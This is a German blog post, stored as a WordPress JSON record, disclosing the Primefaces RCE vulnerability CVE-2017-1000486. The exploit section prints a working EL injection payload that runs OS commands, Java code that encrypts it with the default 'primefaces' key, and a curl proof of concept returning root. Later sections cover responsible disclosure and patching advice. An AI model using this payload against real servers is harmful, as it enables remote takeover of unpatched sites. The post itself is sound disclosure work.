{"id":66,"date":"2018-01-17T22:09:43","date_gmt":"2018-01-17T21:09:43","guid":{"rendered":"http:\/\/schuette.se\/?p=66"},"modified":"2018-01-18T13:51:10","modified_gmt":"2018-01-18T12:51:10","slug":"cve-2017-1000486-in-your-primeface","status":"publish","type":"post","link":"https:\/\/schuette.se\/de\/2018\/01\/17\/cve-2017-1000486-in-your-primeface\/","title":{"rendered":"CVE-2017-1000486: In your Primeface!"},"content":{"rendered":"<p>Auf der Suche nach interessanten Zielen f\u00fcr Bug Bounty Programme habe ich Schwachstellen in verbreiteten Web Frameworks untersucht. Ich stie\u00df dabei auf eine L\u00fccke im\u00a0<a href=\"http:\/\/primefaces.org\/\">Primefaces JSF Framework<\/a>, <a href=\"http:\/\/blog.mindedsecurity.com\/2016\/02\/rce-in-oracle-netbeans-opensource.html\">bereits 2016 entdeckt von Minded Security<\/a>. Wenig sp\u00e4ter fand ich noch diesen interessanten Blogeintrag <a href=\"https:\/\/cryptosense.com\/weak-encryption-flaw-in-primefaces\/\">von CryptoSense<\/a>. Die Schwachstelle erlaubt Remote Code Execution (RCE) durch einfache HTTP-Anfragen.<\/p>\n<p><a href=\"https:\/\/www.visma.fi\/blog\/we-paid-out-20000-in-bounties-and-heres-why\/\">Hacker nutzen diese Schwachstelle bereits seit 2016 in Bug Bounty Programmen<\/a>.<\/p>\n<p>Die Problematik dieser Schwachstelle liegt nicht nur in den technischen Folgen (RCE = worst case), vielmehr deckt sie auch Probleme in der aktuellen Sicherheitslandschaft im Netz auf.<\/p>\n<p>Die zentrale Frage ist dabei: wie werden betroffene Seiten im Netz \u00fcber die Schwachstelle informiert?<br \/>\nWas k\u00f6nnen Seitenbetreiber, Entwickler und Sicherheitsexperten tun, um das Netz sicherer zu machen?<\/p>\n<p>Ich habe viele betroffene Seiten im Netz gefunden und benachrichtigt, darunter auch Seiten von gro\u00dfen (DAX-) Konzernen und Regierungen auf der ganzen Welt. Einige waren sehr kooperativ und professionell, bei anderen war es schwierig, \u00fcberhaupt Kontakt aufzunehmen und glaubhaft die L\u00fccke mitzuteilen.<\/p>\n<h2>Der Bug<\/h2>\n<p>Es gibt mehrere Probleme in alten Primefaces-Versionen:<\/p>\n<ul>\n<li>Primefaces Versionen \u00e4lter als 5.2.21, 5.3.8 und 6.0 sind anf\u00e4llig f\u00fcr Padding Oracle Attack, da sie schwache und veraltete Kryptographie nutzen. Mit dem Tool <a href=\"https:\/\/github.com\/GDSSecurity\/PadBuster\">padbuster<\/a> k\u00f6nnen Angreifer die Verschl\u00fcsselung brechen und ihren eigenen verschl\u00fcsselten Payload an den Server schicken.<\/li>\n<li>Es ist m\u00f6glich, verschl\u00fcsselten Code \u00fcber EL injection einzuschleusen.<\/li>\n<li>Es werden im Quellcode Standardwerte f\u00fcr Salt und Passwort (&#8222;primefaces&#8220;) festgelegt. Zwar k\u00f6nnen Webentwickler dieses \u00fcber Konfigurationsparameter \u00e4ndern, viele scheinen dies jedoch vers\u00e4umt zu haben. Die Nutzung von padbuster ist dadurch \u00fcberfl\u00fcssig und das Ausnutzen der L\u00fccke trivial.<\/li>\n<\/ul>\n<h2>Der Exploit<\/h2>\n<p>Dank der\u00a0<a href=\"http:\/\/blog.mindedsecurity.com\/search\/label\/Expression%20Language%20Injection\">Vorarbeit von Minded Security<\/a>\u00a0war es einfach einen EL Payload zu erzeugen, der auf Linux und Windows-Maschinen bliebige Systemkommandos ausf\u00fchrt:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\r\n${facesContext.getExternalContext().getResponse().setContentType(\"text\/plain;charset=\\\"UTF-8\\\"\")}\r\n${session.setAttribute(\"scriptfactory\",\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance())}\r\n${session.setAttribute(\"scriptengine\",session.getAttribute(\"scriptfactory\").getEngineByName(\"JavaScript\"))}\r\n${session.getAttribute(\"scriptengine\").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}\r\n${session.getAttribute(\"scriptengine\").eval(\r\n\"var os = java.lang.System.getProperty(\\\"os.name\\\");\r\nvar proc = null;\r\nos.toLowerCase().contains(\\\"win\\\")?\r\nproc = new java.lang.ProcessBuilder&#x5B;\\\"(java.lang.String&#x5B;])\\\"](&#x5B;\\\"cmd.exe\\\",\\\"\/C\\\",\\\"%s\\\"]).start()\r\n: proc = new java.lang.ProcessBuilder&#x5B;\\\"(java.lang.String&#x5B;])\\\"](&#x5B;\\\"\/bin\/sh\\\",\\\"-c\\\",\\\"%s\\\"]).start();\r\nvar is = proc.getInputStream();\r\nvar sc = new java.util.Scanner(is,\\\"UTF-8\\\"); var out = \\\"\\\";\r\nwhile(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);\")}\r\n${facesContext.getExternalContext().getResponse().getWriter().flush()}\r\n${facesContext.getExternalContext().getResponse().getWriter().close()}';\r\n<\/pre>\n<p>(wobei %s durch das auszuf\u00fchrende Kommando zu ersetzen ist).<\/p>\n<p>Dieser EL Payload muss nun verschl\u00fcsselt, Base64- und URL-kodiert werden. Ich konnte daf\u00fcr den Originalcode von Primefaces verwenden (org.primefaces.util.StringEncrypter):<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\r\nprivate void doEncrypt(String payload) throws UnsupportedEncodingException {\r\nStringEncrypter encrypter = new StringEncrypter(\"primefaces\");\r\nString result = encrypter.encrypt(payload);\r\nString result_urlenc = URLEncoder.encode(result, \"UTF-8\");\r\nSystem.err.println(result_urlenc);\r\n}\r\n<\/pre>\n<p>Zeit f\u00fcr einen Proof-of-concept:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\nroot@kali:~# enc=\"TIXG%2F%2FZlMWz%2BuNGfZ1psoWPYqrzYTYmu3dN%2B6cc4kAoZv6Ge0cWSmYpAj5%2FwrDCRcHWvgXbDtIn06VIvJwKQqk9spjdr1Wo6zTWjQ%2BqAxbPaR3OIIo3Ae%2BbYe54y0z7d2r0umNJPzSSiUdHLt%2BuchRlDeO2rQCx2p4Yttxa29zo3Nayidga8LiyD8R5e6IJYbJ99MpiS8K16iX47gin6aYYYHfulJfEIkP52taKql3JNbPVoguR%2FDhhiVpEtauFfKEMOoUq0G7evnErvZkQkyek43YhJ%2FE4q0sU2CygWclo%2FvcfG2QHAylbL4tkXaB3BP50YvRFedbmQfEtcAiGn84SdP5BnxC%2BcVJvVJsrMpbL8Mcdi%2FU%2BOju9g57bW55CBAGZnqiOVWFL%2BXjhaBD06Ef%2F7Et08lFQKGmlJDNQBSFBTa5cSd6WY6SZh5I8AO3Ncr9XpiOiQJROZgwXoxYwHFp10gQXS8TVw5yYcEWKoMZWYmBY5%2FcIPv6skQn6%2FGlnv1qGRUtGwCis5jQJDdJh%2B%2FO7EJpJ64tez75NOyM7jDH8%2BM8%2Bxmi8g41xuW%2Fw6yymquEwWQaIT3%2F80ifOhM8bUQ9uep4WZYxpwUi%2FHM5ig7%2FXpCR8TZiwRd8sbt6QG1pwtEwFXyNfe3u5BM3qGVnN4Mpq6zFBPKUfEDe9EEPV76ifnQDDyKtmuvmW2nT%2BP1XMgNg9OPxwfkFMEh7EwhyPxbEaseeszUf6HZfTl8%2BIGBUXig5i6iCaW2Y0VWWH1PM0dCAPj1%2F7zWOYG0KSkw2b57i9Cxovyk8AQH4qZ4D513khYRXi4Qw4pfuSXrDe0dpnYcsb2dvsUaGGgtyn%2BbWrSy2rJj752gBq5vAD5wUFQ%2B6LvWQoZexW2%2FI8MGF8Og3i3qCXcCQ%2FS9ihatd1IbDE0YwbTCbHtQCXRmPOTYr7%2F4tnyxmVY6y4OZF%2FWiw9rdjGik9QqZQ74CLRbpIho6uLbXivr%2B9WIF3q%2BG86BnM8vNW2OHcLIfORxTboN%2BDT4wgtBd0Sh1C64%2B3z6%2BnNQc4waf88OQ1YgvWlfKuE6jvJjIX48MH9IU4C3p%2FpjuP%2FmbTiQrHgm6ahCfwESXDwKsc2Kd7H8us8l9F6d1NxkAQ%2BtEASomxbMMt2fv7xGS0%2B4VHf8fF4GsOsMC1Q1CD2qQn4Md8fU1%2BDEC4KKdA5VCimW327rbKxsrGVewWnTkA8ejHwlwciQmXFQQ53LMk%2Bj1iNwIChQnVPAe4sFKS9x02Y%2BZZDQFTr2XUXSRwAAAAAAAAAA\";\r\nroot@kali:~# curl -X POST \"https:\/\/example.com\/javax.faces.resource\/dynamiccontent.properties.jsf\" -ki -kvvv -d \"pfdrt=sc&amp;amp;amp;ln=primefaces&amp;amp;amp;pfdrid=$enc&amp;amp;amp;cmd=id\"\r\n\r\n\r\n\r\nuid=0(root) gid=0(root) groups=0(root)\r\n<\/pre>\n<p>Ich habe den Exploit in ein Metasploit-Modul gegossen, erh\u00e4ltlich\u00a0<a href=\"https:\/\/github.com\/bschuette\/exploits\/blob\/master\/primefaces_exec.rb\">auf Github<\/a>.<\/p>\n<p>&nbsp;<\/p>\n<h2>Responsible Disclosure<\/h2>\n<p>Als <em>White Hat Hacker<\/em>\u00a0sehe ich folgende Herausforderungen beim Melden von Schwachstellen:<\/p>\n<ul>\n<li>Eine Kontaktadresse zum \u00dcbermitteln von Schwachstellenmeldungen finden. Viele Firmen und Organisationen bieten zwar Kundenformulare und Hotlines, sind jedoch mit einer solchen Anfrage oft \u00fcberfordert. \u00dcber eine Whois-Anfrage gelangt man zumindest an Administratoren. Ein weiterer Weg sind die Datenschutzbeauftragten, deren Emailadresse meist \u00f6ffentlich verfp\u00fcgbar ist. Eine eigene CERT-Abteilung konnte ich immerhin zweimal vorfinden, wenn auch \u00fcber Umwege.<\/li>\n<li>Ist der richtige Kontakt endlich gefunden, stellt sich die Frage, wie gelangen die Details der Schwachstelle vertrauensw\u00fcrdig zum Ziel? PGP und S\/MIME scheinen immer noch keine gen\u00fcgend gro\u00dfe Verbeitung zu haben. Also blieb meist ZIP-Verschl\u00fcsselung mit analoger Passwort\u00fcbermittlung (Telefon).<\/li>\n<li>Glaubw\u00fcrdigkeit! Viele scheinen (zu recht) abgeschreckt von einer Warn-Email zu sein \u00e0 la &#8222;Sie wurden gehackt, ich will helfen und verlange nichts daf\u00fcr&#8220;. Die Formulierung der ersten Nachricht muss wohl \u00fcberlegt sein.<br \/>\nIch w\u00e4hlte meist folgende Worte:<\/p>\n<pre>Sehr geehrte Damen und Herren,\r\n\r\nich bin IT-Sicherheitsexperte (White Hat, also wohlgesonnen) und bin auf eine kritische Schwachstelle auf Ihrer Webseite\r\nwww.example.com gesto\u00dfen und w\u00fcrde Ihrer IT-Abteilung gerne weitere Details auf\r\nverschl\u00fcsseltem Wege zukommen lassen (z.B. via PGP).\r\n\r\nMit freundlichen Gr\u00fc\u00dfen\r\n\r\nBj\u00f6rn Sch\u00fctte<\/pre>\n<p>Zur Not schickte ich 2-3 weitere Mails, machnmal mit Erfolg.<\/li>\n<li>Die eigentliche Schwachstellenmeldung muss professionell sein und einen Proof-of-Concept zur Nachvollziehbarkeit beinhalten. Dieser sollte nat\u00fcrlich keine Sch\u00e4den verursachen. Ich beschr\u00e4nkte mich fast immer auf die Befehle <em>id<\/em> bzw. <em>whomai<\/em>.<\/li>\n<\/ul>\n<p>F\u00fcr die Suche nach betroffenen Webseiten gibt es einige Mittel im Netz. Google und <a href=\"http:\/\/shodan.io\">Shodan<\/a>\u00a0lieferten wenig, die besten Ergebnisse hatte ich mit\u00a0<a href=\"https:\/\/publicwww.com\/\">publicwww.com<\/a>\u00a0und <a href=\"http:\/\/nerdydata.com\">nerdydata.com<\/a>. <a href=\"https:\/\/builtwith.com\">Builtwith.com<\/a> lieferte auch gute Ergebnisse, das Geld f\u00fcr die Pro-Version (ca. 300$) sparte ich mir jedoch.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-112\" src=\"http:\/\/schuette.se\/wp-content\/uploads\/2018\/01\/Screenshot-from-2018-01-18-13-19-09.png\" alt=\"\" width=\"317\" height=\"203\" srcset=\"https:\/\/schuette.se\/wp-content\/uploads\/2018\/01\/Screenshot-from-2018-01-18-13-19-09.png 317w, https:\/\/schuette.se\/wp-content\/uploads\/2018\/01\/Screenshot-from-2018-01-18-13-19-09-300x192.png 300w\" sizes=\"auto, (max-width: 317px) 100vw, 317px\" \/><\/p>\n<h2>Problembehebung<\/h2>\n<p>Wie konnte es sein, dass so viele aktiv genutzte Webseiten noch immer betroffen sind und offenbar nichts von der Schwachstelle wussten? Die Entwickler von Primefaces haben\u00a0<a href=\"https:\/\/github.com\/primefaces\/primefaces\/issues\/1152\">das Problem l\u00e4ngst gefixt<\/a>, aber keine CVE daf\u00fcr registriert. Auch die Finder der L\u00fccke haben dies vers\u00e4umt.<\/p>\n<p>Also habe ich auf\u00a0<a href=\"http:\/\/iwantacve.org\">iwantacve.org<\/a> eine CVE angefordert und bekam prompt eine Antwort:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-78 size-full\" src=\"http:\/\/schuette.se\/wp-content\/uploads\/2018\/01\/Screenshot-from-2018-01-17-20-03-59.png\" alt=\"\" width=\"843\" height=\"402\" srcset=\"https:\/\/schuette.se\/wp-content\/uploads\/2018\/01\/Screenshot-from-2018-01-17-20-03-59.png 843w, https:\/\/schuette.se\/wp-content\/uploads\/2018\/01\/Screenshot-from-2018-01-17-20-03-59-300x143.png 300w, https:\/\/schuette.se\/wp-content\/uploads\/2018\/01\/Screenshot-from-2018-01-17-20-03-59-768x366.png 768w, https:\/\/schuette.se\/wp-content\/uploads\/2018\/01\/Screenshot-from-2018-01-17-20-03-59-688x328.png 688w\" sizes=\"auto, (max-width: 843px) 100vw, 843px\" \/><\/p>\n<p>Mit dieser\u00a0<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2017-1000486\">CVE-2017-1000486<\/a>\u00a0haben Entwickler und DevOps es nun leichter, die betroffenen Versionen der Bibliothek herauszufiltern, z.B. durch das exzellente\u00a0<a href=\"https:\/\/www.owasp.org\/index.php\/OWASP_Dependency_Check\">OWASP Dependency Check Plugin.<\/a><\/p>\n<h2>Lessons Learned<\/h2>\n<h3>Web-Entwickler<\/h3>\n<ul>\n<li><strong>Aktualisiert eure Software<\/strong>\u00a0auf die neueste version von Primefaces.<\/li>\n<li><strong>Integriert das OWASP Dependency Check Plugin<\/strong> in eure pom.xml oder was auch immer ihr nutzt. Das Tool ist kostenfrei und l\u00e4sst sich einfach in der Buildprozess integrieren.<\/li>\n<li><strong>Verlasst euch nicht auf die Sicherheit von Third-Party-Software<\/strong>. Automatische Codeanalyse h\u00e4tte hier gehlfen. ich habe es mit dem\u00a0<del>Findbugs<\/del><a href=\"https:\/\/github.com\/spotbugs\/spotbugs\">Spotbugs<\/a> Plugin <a href=\"http:\/\/find-sec-bugs.github.io\/\">Find Security Bugs<\/a>\u00a0gepr\u00fcft und es hat die\u00a0 Schwachstellen im Primefaces Code entdeckt:<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-113\" src=\"http:\/\/schuette.se\/wp-content\/uploads\/2018\/01\/Screenshot-from-2018-01-18-13-35-35.png\" alt=\"\" width=\"570\" height=\"1007\" srcset=\"https:\/\/schuette.se\/wp-content\/uploads\/2018\/01\/Screenshot-from-2018-01-18-13-35-35.png 570w, https:\/\/schuette.se\/wp-content\/uploads\/2018\/01\/Screenshot-from-2018-01-18-13-35-35-170x300.png 170w\" sizes=\"auto, (max-width: 570px) 100vw, 570px\" \/><\/li>\n<\/ul>\n<h2>Framework-Entwickler<\/h2>\n<ul>\n<li><strong>Nehmt Sicherheit ernst<\/strong>!<\/li>\n<li>Behandelt Sicherheitsl\u00fccken mit h\u00f6herer Priorit\u00e4t und liefert z\u00fcgig Fixes aus.<\/li>\n<li>Reserviert euch CVEs, damit eure Nutzer schnell von den Schwachstellen erfahren und automatisiert die betroffenen Versionen herausfiltern k\u00f6nnen.<\/li>\n<li>Versorgt, wenn m\u00f6glich, auch \u00e4ltere Versionen mit Security Updates.<\/li>\n<\/ul>\n<h2>Webseitenbetreiber<\/h2>\n<ul>\n<li><strong>Stellt einen Kommunikationskanal f\u00fcr Sicherheitsmeldungen bereit,<\/strong>\u00a0\u00fcebr den Schwachstellenberichte und Probleme berichtet werden k\u00f6nnen. Meine erste Wahl w\u00e4re eine Emailadresse mit PGP-Schl\u00fcssel.<\/li>\n<li><strong>F\u00fcgt eine\u00a0<a href=\"https:\/\/securitytxt.org\/\">security.txt<\/a><\/strong>\u00a0auf eurer Webseite hinzu unter https:\/\/www.example.com\/.well-known\/security.txt, in der obige Kontaktinformationen bereitliegen. Ich gehe dasvon aus, dass sich dieses Konzept schnell verbreitet.<\/li>\n<li><strong>\u00dcberlegt euch, ob ihr ein Bug Bounty Programm starten solltet<\/strong>, damit motivierte Hacker helfen, eure Webauftritte sicherer zu machen. Ich empfehle\u00a0<a href=\"https:\/\/hackerone.com\">HackerOne<\/a> oder <a href=\"https:\/\/bugcrowd.com\">BugCrowd<\/a>. <a href=\"https:\/\/www.telekom.com\/de\/verantwortung\/datenschutz-und-datensicherheit\/sicherheit\/sicherheit\/sicherheitsluecken-schliessen-345714\">Die Telekom betreibt z.B. ein eigenes Programm.<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Auf der Suche nach interessanten Zielen f\u00fcr Bug Bounty Programme habe ich Schwachstellen in verbreiteten Web Frameworks untersucht. Ich stie\u00df dabei auf eine L\u00fccke im\u00a0Primefaces JSF Framework, bereits 2016 entdeckt von Minded Security&#8230;.<\/p>\n","protected":false},"author":1,"featured_media":112,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[7,8,6,5,9],"class_list":["post-66","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-exploits","tag-cve","tag-exploit","tag-java","tag-primefaces","tag-rce"],"translation":{"provider":"WPGlobus","version":"3.0.2","language":"de","enabled_languages":["en","de"],"languages":{"en":{"title":true,"content":true,"excerpt":false},"de":{"title":true,"content":true,"excerpt":false}}},"_links":{"self":[{"href":"https:\/\/schuette.se\/de\/wp-json\/wp\/v2\/posts\/66","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/schuette.se\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/schuette.se\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/schuette.se\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/schuette.se\/de\/wp-json\/wp\/v2\/comments?post=66"}],"version-history":[{"count":10,"href":"https:\/\/schuette.se\/de\/wp-json\/wp\/v2\/posts\/66\/revisions"}],"predecessor-version":[{"id":115,"href":"https:\/\/schuette.se\/de\/wp-json\/wp\/v2\/posts\/66\/revisions\/115"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/schuette.se\/de\/wp-json\/wp\/v2\/media\/112"}],"wp:attachment":[{"href":"https:\/\/schuette.se\/de\/wp-json\/wp\/v2\/media?parent=66"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/schuette.se\/de\/wp-json\/wp\/v2\/categories?post=66"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/schuette.se\/de\/wp-json\/wp\/v2\/tags?post=66"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}